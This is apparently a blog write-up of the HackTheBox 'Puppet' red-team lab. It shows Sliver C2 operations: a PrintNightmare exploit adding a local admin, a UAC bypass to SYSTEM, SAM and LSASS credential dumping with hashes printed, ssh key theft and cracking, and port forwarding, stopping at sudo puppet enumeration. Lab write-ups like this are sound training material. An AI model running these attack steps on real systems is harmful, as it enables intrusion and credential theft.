File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 04 · Filed 15 Jan 2026 · HackTheBox · 9 min read

Puppet ProLab

Rooted

First mini prolab that I played


Evidence photo — case 04
You are tasked with performing a red team engagement on Puppet Inc. The company does not allow data leaving the internal network, so a c2 server has been set up internally and an employee executed a payload in order to simulate a successful social engineering attack. Puppet is a small active directory scenario in which you start with an already running Sliver C2 beacon on an internal system. It is designed to practice operating through a C2 framework in a modern, challenging hybrid environment. Puppet is designed for penetration testers and red teamers in search of a quick and challenging lab that has c2 infrastructure already set up in order to practice c2 operations. This Red Team Operator I lab will expose players to:
  • Enumeration
  • Active Directory enumeration and attacks
  • Exploiting DevOps infrastructure
  • Lateral movement
  • Local privilege escalation
  • Situational awareness
  • C2 Operations These are the servers that we will be interacting with
    Network Architecture
Due to not having a private instance of the lab, I tried to create a new implant that has a different name than the default one so i can follow my own progress. This is a Hybrid Windows/Linux Environment managed by Puppet Configuration Management. This is a common setup in modern enterprise networks where admins need to control both Windows servers and Linux backends centrally. The network is likely designed around three core pillars: Identity (AD), Configuration (Puppet), and Storage (File Server).
  • Machine: DC01.puppet.vl (Windows)
  • Role: The Domain Controller.
  • Link: It authenticates the Service Accounts but does not let them log in interactively.
  • Machine: FILE01.puppet.vl (Windows Server)
  • Role: This appears to be a Repository / Distribution Point.
    • Evidence: You found C:\Files containing puppet-agent...msi and puppet-update.exe.
    • Function: Windows machines in the network likely connect here to download the Puppet Agent software so they can be managed.
  • Machine: PUPPET.puppet.vl (Linux)
  • Role: The Puppet Master.
  • Function: This is the "Brain." It pushes instructions (manifests) to all other servers (including the DC). If you control this, you can push a malicious "configuration" to the Domain Controller to add yourself as an admin.
  • Why Linux? Puppet Masters run natively on Linux.
The initial given ip is for the C2 server, so it's expected to see some things shared within the server to allow access for the read teaming operation. This is what was found :
Bash
# Nmap 7.93 scan initiated Sat Dec 27 12:59:11 2025 as: nmap -sC -sV -A -oN out.txt -T3 10.13.38.33
Nmap scan report for 10.13.38.33
Host is up (0.15s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.30
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw----r--    1 0        0            2119 Oct 11  2024 red_127.0.0.1.cfg
|_-rwxr-xr-x    1 0        0        36515304 Oct 12  2024 sliver-client_linux
22/tcp    open  ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e270df748cede9814616e488bc7f6932 (ECDSA)
|_  256 bff0f18f5b66939bcb8bbc7837b8b83a (ED25519)
8443/tcp  open  ssl/https-alt?
| ssl-cert: Subject: commonName=0.0.0.0
| Subject Alternative Name: IP Address:0.0.0.0
| Not valid before: 2024-12-24T14:49:26
|_Not valid after:  2027-12-24T14:49:26
|_ssl-date: TLS randomness does not represent time
31337/tcp open  ssl/Elite?
| ssl-cert: Subject: commonName=multiplayer
| Subject Alternative Name: DNS:multiplayer
| Not valid before: 2024-05-11T12:31:48
|_Not valid after:  2027-05-11T12:31:48
|_ssl-date: TLS randomness does not represent time
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/27%OT=21%CT=1%CU=35279%PV=Y%DS=2%DC=T%G=Y%TM=694FCA
OS:4F%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST
OS:11NW7%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   167.71 ms 10.10.16.1
2   77.71 ms  10.13.38.33

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 27 13:00:15 2025 -- 1 IP address (1 host up) scanned in 64.86 seconds

```bash

As a first look at this nmap scan, we can see that the port that the `Sliver C2`  server is operating at is the default `31337`.

# Enumerating C2 server 
I managed to retrieve config files for sliver from the ftp server using anonymous login. 
I then went ahead and port forwarded the Sliver server to localhost and set up the config file with sliver client.
Here is what i did : 
```bash
[Dec 27, 2025 - 13:29:35 (CET)] exegol-D3xt3R puppet # socat TCP-LISTEN:31337,fork,reuseaddr TCP:10.13.38.33:31337 &
[Dec 27, 2025 - 13:30:59 (CET)] exegol-D3xt3R puppet # ./sliver-client_linux 
Connecting to 127.0.0.1:31337 ...

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain indestructible
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > beacons

 ID         Name             Tasks   Transport   Remote Address       Hostname   Username             Operating System   Locale   Last Check-In                             Next Check-In                           
========== ================ ======= =========== ==================== ========== ==================== ================== ======== ========================================= =========================================
 cfa2848a   BLUSHING_ERROR   0/0     mtls        172.16.40.50:49713   File01     PUPPET\bruce.smith   windows/amd64      en-US    Sat Dec 27 13:31:12 CET 2025 (13s ago)    Sat Dec 27 13:32:39 CET 2025 (in 1m14s) 
 a166b26b   BLUSHING_ERROR   0/0     mtls        172.16.40.50:49718   File01     PUPPET\bruce.smith   windows/amd64      en-US    Sat Dec 27 13:31:18 CET 2025 (7s ago)     Sat Dec 27 13:32:25 CET 2025 (in 1m0s)  
 6292efcf   BLUSHING_ERROR   0/0     mtls        172.16.40.50:49714   File01     PUPPET\bruce.smith   windows/amd64      en-US    Sat Dec 27 13:30:22 CET 2025 (1m3s ago)   Sat Dec 27 13:31:43 CET 2025 (in 18s)   
 0c2e8ead   BLUSHING_ERROR   0/0     mtls        172.16.40.50:49719   File01     PUPPET\bruce.smith   windows/amd64      en-US    Sat Dec 27 13:31:19 CET 2025 (6s ago)     Sat Dec 27 13:32:25 CET 2025 (in 1m0s)  
 ea404256   BLUSHING_ERROR   0/0     mtls        172.16.40.50:49715   File01     PUPPET\bruce.smith   windows/amd64      en-US    Sat Dec 27 13:30:45 CET 2025 (40s ago)    Sat Dec 27 13:31:47 CET 2025 (in 22s)   


Connection to the C2 server is now confirmed, we can see that we are interacting with a domain machine FILE01. At this point I ran bloodhound to see what can be done, but got nothing so the priv esc will be based on something else. I wanted to investigate the private network that the linux host was connected to, to generate working implants later on.
Bash
sliver (BLUSHING_ERROR) > netstat 

 Protocol   Local Address        Foreign Address      State         PID/Program Name       
========== ==================== ==================== ============= ========================
 tcp        172.16.40.50:51662   172.16.40.200:8443   ESTABLISHED   1540/puppet-update.exe 
 tcp        172.16.40.50:52499   172.16.40.200:8140   ESTABLISHED   408/ruby.exe           
 tcp        172.16.40.50:52798   172.16.40.200:8443   ESTABLISHED   4012/ruby.exe          
 tcp        172.16.40.50:53084   172.16.40.200:8443   ESTABLISHED   2908/puppet-update.exe 
 tcp        172.16.40.50:53114   172.16.40.200:8443   ESTABLISHED   1540/puppet-update.exe 
 tcp        172.16.40.50:53227   172.16.40.200:8443   ESTABLISHED   2144/puppet-update.exe 
 tcp        172.16.40.50:53280   172.16.40.200:8443   ESTABLISHED   2256/puppet-update.exe 
 tcp        172.16.40.50:53405   172.16.40.200:8443   ESTABLISHED   1000/puppet-update.exe 

The ip for the C2 which is the linux host is 172.16.40.200. No interesting processes were running in the host as this user.
Bash
 Pid    Ppid   Owner                Arch     Executable                    Session 
====== ====== ==================== ======== ============================= =========

 4188   4172   PUPPET\bruce.smith   x86_64   explorer.exe                          
 4504   788    PUPPET\bruce.smith   x86_64  StartMenuExperienceHost.exe           
 4548   788    PUPPET\bruce.smith   x86_64   TextInputHost.exe                     
 4636   788    PUPPET\bruce.smith   x86_64   RuntimeBroker.exe                     
 4784   788    PUPPET\bruce.smith   x86_64   SearchApp.exe                         
 4900   788    PUPPET\bruce.smith   x86_64   RuntimeBroker.exe                     
 4368   4188   PUPPET\bruce.smith   x86_64   vmtoolsd.exe                          
 636    2748   PUPPET\bruce.smith   x86_64   puppet-update.exe                     
 2768   2748   PUPPET\bruce.smith   x86_64   puppet-update.exe                     
 4652   2748   PUPPET\bruce.smith   x86_64   puppet-update.exe                     
 1000   2748   PUPPET\bruce.smith   x86_64   puppet-update.exe                     
 1736   2748   PUPPET\bruce.smith   x86_64   puppet-update.exe                     
 3960   1008   PUPPET\bruce.smith   x86_64   powershell.exe                        
 1412   3960   PUPPET\bruce.smith   x86_64   conhost.exe                           
Although this raised a suspicion in me that the machine was running Puppet which is an IaC tool used for remote management, we will talk a little on later on. Since there was no outbound object control for the user that we have, the next step relied on some windows exploitation techniques unrelated to the AD env. This host as I said before is a domain joined machine account, I did some service enumeration and found Print Spooler (it will show if we run a priv esc check powershell script).
Bash
sliver (BLUSHING_ERROR) > execute -o powershell -c "Get-Service -Name Spooler"

[*] Output:

Status   Name               DisplayName                           
------   ----               -----------                           
Running  Spooler            Print Spooler                         



sliver (BLUSHING_ERROR) > execute -o cmd /c "sc query spooler"

[*] Output:

SERVICE_NAME: spooler 
        TYPE               : 110  WIN32_OWN_PROCESS  (interactive)
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

This service is vulnerable to PrintNightmare . This vulnerability allows a low priv user to add a printer and add the drivers for that printer, the service/process (Printer Spooler) then checks if the low priv user is authenticated and proceeds to granting that user SYSTEM level access to install the drivers to the printer. Here is a more explanatory image of all the workarounds in this service's exploitation. The path that we will follow is the straightest and shortest one in the image.
PrintNightmare Exploit Chain
Here is the exploit that i used from github: https://github.com/calebstewart/CVE-2021-1675/tree/main
Powershell
PS C:\Temp> Import-Module .\CVE-2021-1675.ps1 
Import-Module .\CVE-2021-1675.ps1 
PS C:\Temp> Invoke-Nightmare
Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\bruce.smith\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_0a3468baaae9fedd\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\bruce.smith\AppData\Local\Temp\nightmare.dll
I added a local user account adm1n. I generated a new implant to follow my progress in this machine PROFITABLE_CARRIER.exe. I ran it with the admin account that I created using runas tool in sliver.
Bash
sliver > generate --mtls  172.16.40.200:8443  --os windows --arch amd64 --format exe --save .  \\ implant generation, making sure that the connection gets back to the c2 server.

sliver (BLUSHING_ERROR) > runas --username adm1n --password 'P@ssw0rd' --process "C:\Temp\PROFITABLE_CARRIER.exe"

[*] Session 7d1f41f2 PROFITABLE_CARRIER - 172.16.40.50:51345 (File01) - windows/amd64 - Mon, 29 Dec 2025 17:59:58 CET

[*] Successfully ran C:\Temp\PROFITABLE_CARRIER.exe  on BLUSHING_ERROR

sliver (BLUSHING_ERROR) > sessions

 ID         Name                 Transport   Remote Address       Hostname   Username             Operating System   Locale   Last Message                             Health  
========== ==================== =========== ==================== ========== ==================== ================== ======== ======================================== =========
 5e4c48fc   BLUSHING_ERROR       mtls        172.16.40.50:49862   File01     PUPPET\bruce.smith   windows/amd64      en-US    Mon Dec 29 18:00:06 CET 2025 (2s ago)    [ALIVE] 
 6d1eb775   BLUSHING_ERROR       mtls        172.16.40.50:50864   File01     PUPPET\bruce.smith   windows/amd64      en-US    Mon Dec 29 17:59:37 CET 2025 (31s ago)   [ALIVE] 
 7d1f41f2   PROFITABLE_CARRIER   mtls        172.16.40.50:51345   File01     <err>                windows/amd64      en-US    Mon Dec 29 17:59:58 CET 2025 (10s ago)   [ALIVE] 
 5cfc0d88   BLUSHING_ERROR       mtls        172.16.40.50:49859   File01     PUPPET\bruce.smith   windows/amd64      en-US    Mon Dec 29 17:59:58 CET 2025 (10s ago)   [ALIVE] 

sliver (BLUSHING_ERROR) > use 7d1f41f2

[*] Active session PROFITABLE_CARRIER (7d1f41f2-0a3c-473d-8a4f-0391d8153c44)

sliver (PROFITABLE_CARRIER) > whoami

Logon ID: <err>
[*] Current Token ID: FILE01\adm1n

We got back an authenticated session as adm1n . Once we get the session, there wasn't a lot to be done so we need to elevate the uac integrity token to get system in order to dump lsass creds. After getting the session I realized that I needed to elevate my integrity token to get system on the FILE01 host. I will used this repo, to weaponize a BOF which will grant us NT AUTHORITY/SYTEM session from the local admin one. https://github.com/icyguider/UAC-BOF-Bonanza. For some reason execute-assembly on sliver didn't work maybe it was due to the .NET version installed in the FILE01 host. I had to upload the binary and execute it.
Bash
sliver (PROFITABLE_CARRIER) > upload ./SspiUacBypass.exe 'C:\Temp\SspiUacBypass.exe' 

[*] Wrote file to C:\Temp\SspiUacBypass.exe
// uploaded the binary
sliver (PROFITABLE_CARRIER) > execute -o powershell.exe C:\\Temp\\SspiUacBypass.exe 'C:\Temp\PROFITABLE_CARRIER.exe'

[*] Session b1f24adc PROFITABLE_CARRIER - 172.16.40.50:51235 (File01) - windows/amd64 - Fri, 02 Jan 2026 14:58:06 CET

[*] Output:

	SspiUacBypass - Bypassing UAC with SSPI Datagram Contexts
	by @splinter_code

Forging a token from a fake Network Authentication through Datagram Contexts
Network Authentication token forged correctly, handle --> 0x154
Forged Token Session ID set to 1. lsasrv!LsapApplyLoopbackSessionId adjusted the token to our current session 
Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now
Invoking CreateSvcRpc (by @x86matthew)
Connecting to \\127.0.0.1\pipe\ntsvcs RPC pipe 
Opening service manager...
Creating temporary service...
Executing 'C:\Temp\PROFITABLE_CARRIER.exe' as SYSTEM user...
Deleting temporary service...
Finished

sliver (PROFITABLE_CARRIER) > sessions 

 ID         Name                 Transport   Remote Address       Hostname   Username              Operating System   Locale   Last Message                              Health  
========== ==================== =========== ==================== ========== ===================== ================== ======== ========================================= =========
 52dc26fe   BLUSHING_ERROR       mtls        172.16.40.50:50736   File01     PUPPET\bruce.smith    windows/amd64      en-US    Fri Jan  2 14:57:09 CET 2026 (1m5s ago)   [ALIVE] 
 b1f24adc   PROFITABLE_CARRIER   mtls        172.16.40.50:51235   File01     NT AUTHORITY\SYSTEM   windows/amd64      en-US    Fri Jan  2 14:58:06 CET 2026 (8s ago)     [ALIVE] 
 3345212c   PROFITABLE_CARRIER   mtls        172.16.40.50:50771   File01     <err>                 windows/amd64      en-US    Fri Jan  2 14:58:06 CET 2026 (8s ago)     [ALIVE] 

sliver > use aa970abd

[*] Active session PROFITABLE_CARRIER (aa970abd-42f1-489f-a0fe-fa1e81349872)

sliver (PROFITABLE_CARRIER) > whoami

Logon ID: NT AUTHORITY\SYSTEM
[*] Current Token ID: NT AUTHORITY\SYSTEM


I got a session as NT AUTHORITY/SYSTEM. I checked the privileges that this machine account had in the DC01 host which is the domain controller, and here is what I got
Bash
sliver (PROFITABLE_CARRIER) > execute -o powershell -c 'whoami /all' 

[*] Output:

USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner    
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                   


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Disabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled 
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled 
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled 
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled 
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled 
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled 
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled 
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled 
SeAuditPrivilege                          Generate security audits                                           Enabled 
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled 
SeTimeZonePrivilege                       Change the time zone                                               Enabled 
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled 
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled 

I managed to download the HKLM\SAM & HKLM\SYSTEM hives from the FILE01 host.
Bash
[Jan 02, 2026 - 16:57:37 (CET)] exegol-D3xt3R puppet # secretsdump.py -sam ./C:\\Temp\\sam -system ./C:\\Temp\\system LOCAL
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x04792f56beee33bdd39c48b224dee134
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ca117f6578413d6153d1e0d6da667e88:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d10d0d7ce82c2c12d4558fc391ebc8fa:::
adm1n:1000:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
[*] Cleaning up... 

This was not mandatory by any means but i wanted to get all the hashes in order to easily login if i lost a session in the future. STATIC HASHES (SAM) ARE BRONZE,LSASS ARE GOLD. I had some problems with installing the mimikatz from armory in sliver so I found an alternative. I even used the execute-assembly but it wouldn't go through it could've been caused again by the .NET version installed in the host, I managed though to find another way to dump credentials from memory. I got the pid for lsass.exe binary and used procdump in sliver to dump all the credentials in memory, the lsass.exe stores all the credentials of logged in users to the machine account, so if we can find a valuable domain user who is (recently was) logged into the machine account, we can get their credentials.
Bash
sliver (PROFITABLE_CARRIER) > procdump --pid 680 --save test.dmp

[*] Process dump stored in: test.dmp

------------------------------------------------------------
[Jan 03, 2026 - 00:36:01 (CET)] exegol-D3xt3R puppet # pypykatz lsa minidump test.dmp
<SNIP>
== LogonSession ==
authentication_id 320355 (4e363)
session_id 0
username svc_puppet_win_t1
domainname PUPPET
logon_server DC01
logon_time 2026-01-02T09:07:25.511729+00:00
sid S-1-5-21-3066630505-2324057459-3046381011-1131
luid 320355
	== MSV ==
		Username: svc_puppet_win_t1
		Domain: PUPPET
		LM: NA
		NT: 784c7b51056579e64f74c71cb013dda6
		SHA1: e4b6c57180670c42d1894db1daebe833787ad23b
		DPAPI: abe71d756f0b2d9e69b803833ef4869d00000000

== LogonSession ==
authentication_id 44927 (af7f)
session_id 0
username UMFD-0
domainname Font Driver Host
logon_server 
logon_time 2026-01-02T09:05:21.277248+00:00
sid S-1-5-96-0-0
luid 44927
	== MSV ==
		Username: FILE01$
		Domain: PUPPET
		LM: NA
		NT: f7a69c8f31a58034d6ee1b001b006e96
		SHA1: f2cd0edee88ff339e4e23d06f63d4c280a286a27
		DPAPI: f2cd0edee88ff339e4e23d06f63d4c280a286a27
I used migrate in sliver which hooks the sliver implant to another process running in memory; it kinda resembles process injection. I looked for processes ran by svc_puppet_win_t1 user account and got back a session.
Bash
sliver (BLUSHING_ERROR) > ps -o svc_puppet_win_t1

 Pid    Ppid   Owner                      Arch     Executable    Session 
====== ====== ========================== ======== ============= =========
 3904   680    PUPPET\svc_puppet_win_t1   x86_64   ruby.exe      0       
 2712   3904   PUPPET\svc_puppet_win_t1   x86_64   cmd.exe       0       
 1404   2712   PUPPET\svc_puppet_win_t1   x86_64   conhost.exe   0       
 724    2712   PUPPET\svc_puppet_win_t1   x86_64   ruby.exe      0       

sliver (BLUSHING_ERROR) > migrate --pid 3904

[*] Successfully migrated to 3904

[*] Beacon 87b6de03 BLUSHING_ERROR - 172.16.40.50:58550 (File01) - windows/amd64 - Sat, 10 Jan 2026 01:25:27 CET

sliver (BLUSHING_ERROR) > use 87b6de03

[*] Active session BLUSHING_ERROR (87b6de03-1627-4217-ada1-feed41dfacc9)

sliver (BLUSHING_ERROR) > whoami

Logon ID: PUPPET\svc_puppet_win_t1
[*] Current Token ID: PUPPET\svc_puppet_win_t1


After getting a session, I checked for available shares that were accessible by this user(I did this as the other users while working on this lab and found nothing non-default) in the dc01.puppet.vl host and here is what i found:
Bash
sliver (BLUSHING_ERROR) > sa-netshares dc01 

[*] Successfully executed sa-netshares (coff-loader)
[*] Got output:
Share:              Remark:
---------------------dc01----------------------------------
ADMIN$              Remote Admin
C$                  Default share
IPC$                Remote IPC
it                  it admin share
NETLOGON            Logon server share 
SYSVOL              Logon server share 

Taking a look in the it share and we get ssh keys.
Bash
sliver (BLUSHING_ERROR) > ls \\\\dc01.puppet.vl\\it

\\dc01.puppet.vl\it\ (4 items, 1.2 MiB)
=======================================
drwxrwxrwx  .ssh             <dir>      Sat Oct 12 00:39:50 -0800 2024
drwxrwxrwx  firewalls        <dir>      Sat Oct 12 00:15:05 -0800 2024

sliver (BLUSHING_ERROR) > ls \\\\dc01.puppet.vl\\it\\firewalls

\\dc01.puppet.vl\it\firewalls (1 item, 597 B)
=============================================
-rw-rw-rw-  config  597 B  Sat Oct 12 00:15:15 -0800 2024


I downloaded the ssh keys and there was another router config that i downloaded but i didn't know what it was for exactly. After examining the ssh keys, it turned out that the keys were for an another service account svc_puppet_lin_t1. I looked back at bloodhound to confirm the user's existance.
DPAPI Credential Recovery
The service account was related to the linux host in the domain. I tried to ssh into the linux host with sliver but I couldn't do that, so i port forwarded the ssh port locally to try to connect.
I managed to get the passphrase of the private key using john because I kept getting errors with connecting via the private key
Bash
[Jan 10, 2026 - 15:37:46 (CET)] exegol-D3xt3R puppet # ssh2john.py ssh/ed25519
ssh/ed25519:$sshng$6$16$b15359c23be771859026d46fe38e9f2e$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010b15359c23be771859026d46fe38e9f2e0000001000000001000000330000000b7373682d656432353531390000002080d2e16eae380ad73bd4a4db4ce1ecbef00215495ed049944f355194eb58d4ef000000a009ba00b5d8c54262bf0103108e5c2fc7859b8506bc58e130062a5e7a661131337f2a3190bedf8aec05e82569487ff897069e6af9ac23869007ca8fe291771b64610f043a7ec86e60d9d23397be4bd8975b841e20bdd9da973cbcbd1294e9a6e771018bf404289c4bbfbb9cdcbf517d28e3134812cfa684e345c9a4c4ee7abbb6690e255d16851608b98e747fda4e3b500fcef2253f3aa82be799ac991c54d505$16$130
[Jan 10, 2026 - 15:37:55 (CET)] exegol-D3xt3R puppet # echo '$sshng$6$16$b15359c23be771859026d46fe38e9f2e$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010b15359c23be771859026d46fe38e9f2e0000001000000001000000330000000b7373682d656432353531390000002080d2e16eae380ad73bd4a4db4ce1ecbef00215495ed049944f355194eb58d4ef000000a009ba00b5d8c54262bf0103108e5c2fc7859b8506bc58e130062a5e7a661131337f2a3190bedf8aec05e82569487ff897069e6af9ac23869007ca8fe291771b64610f043a7ec86e60d9d23397be4bd8975b841e20bdd9da973cbcbd1294e9a6e771018bf404289c4bbfbb9cdcbf517d28e3134812cfa684e345c9a4c4ee7abbb6690e255d16851608b98e747fda4e3b500fcef2253f3aa82be799ac991c54d505$16$130' >> hash

[Jan 10, 2026 - 15:45:25 (CET)] exegol-D3xt3R puppet # john hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])
Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
puppet           (?)     
1g 0:00:00:57 DONE (2026-01-10 15:46) 0.01736g/s 144.4p/s 144.4c/s 144.4C/s toodles..MARIPOSA
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

This step was unnecessary i could've connected to ssh with the passphrase that I cracked. I removed the passphrase to the ssh key
Bash

[Jan 16, 2026 - 11:41:02 (CET)] exegol-D3xt3R ssh # chmod 600 ed25519
Jan 16, 2026 - 11:40:51 (CET)] exegol-D3xt3R ssh # dos2unix ed25519                                                        
dos2unix: converting file ed25519 to Unix format...
[Jan 16, 2026 - 11:41:08 (CET)] exegol-D3xt3R ssh # ssh-keygen -p -f ed25519
Enter old passphrase: 
Key has comment 'xct@offensive-ops'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.

```bash

I then forwarded the port that is hosting the ssh connection from the sliver instance 
```bash
sliver (BLUSHING_ERROR) > portfwd add --remote 172.16.40.200:22 --bind 2222

[*] Port forwarding 127.0.0.1:2222 -> 172.16.40.200:22

The connection was very unstable with the VPN file using TCP for some reason. After struggling with it for so long I tried to install the UDP one and the connection was a little better.
Bash
[Jan 16, 2026 - 11:37:29 (CET)] exegol-D3xt3R removingPassphrase # ssh -i ed25519.clean -t 'svc_puppet_lin_t1@puppet.vl'@127.0.0.1 -p 2222    

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Jan 16 10:37:16 AM UTC 2026

  System load:  0.01              Processes:             158
  Usage of /:   75.0% of 9.75GB   Users logged in:       0
  Memory usage: 12%               IPv4 address for eth0: 10.13.38.33
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Jan 16 10:37:16 2026 from 172.16.40.50
svc_puppet_lin_t1@puppet.vl@puppet:~$ 
svc_puppet_lin_t1@puppet.vl@puppet:~$ sudo -l
sudo: unable to resolve host puppet.puppet.vl: Temporary failure in name resolution
Matching Defaults entries for svc_puppet_lin_t1@puppet.vl on puppet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc_puppet_lin_t1@puppet.vl may run the following commands on puppet:
    (ALL) NOPASSWD: /usr/bin/puppet


The linux server (the one we are connected to) serves as the puppet master as mentioned earlier, first let's talk about how puppet works. As demonstrated in the first picture, the puppet master server takes care of system management of all the puppet agents, which in this case it's the rest of the windows machines which are FILE01 and DC01. These machines send files that has all the system details called Facts and send them to the puppet master. In the second picture the puppet master gets the facts and generates a list of configurations (catalog) that needs to be applied to each of the agents. In the last picture the puppet agents apply the catalog that was sent to them by the puppet master. ![[Communication-Step1-1.webp]] ![[Communication-Step-2 1.webp]] ![[Communication-Step3-1.webp]] I found the available certs which are in other words all the puppet agents that the puppet master can communicate with
Bash
bash-5.1$ sudo /usr/bin/puppet cert -all
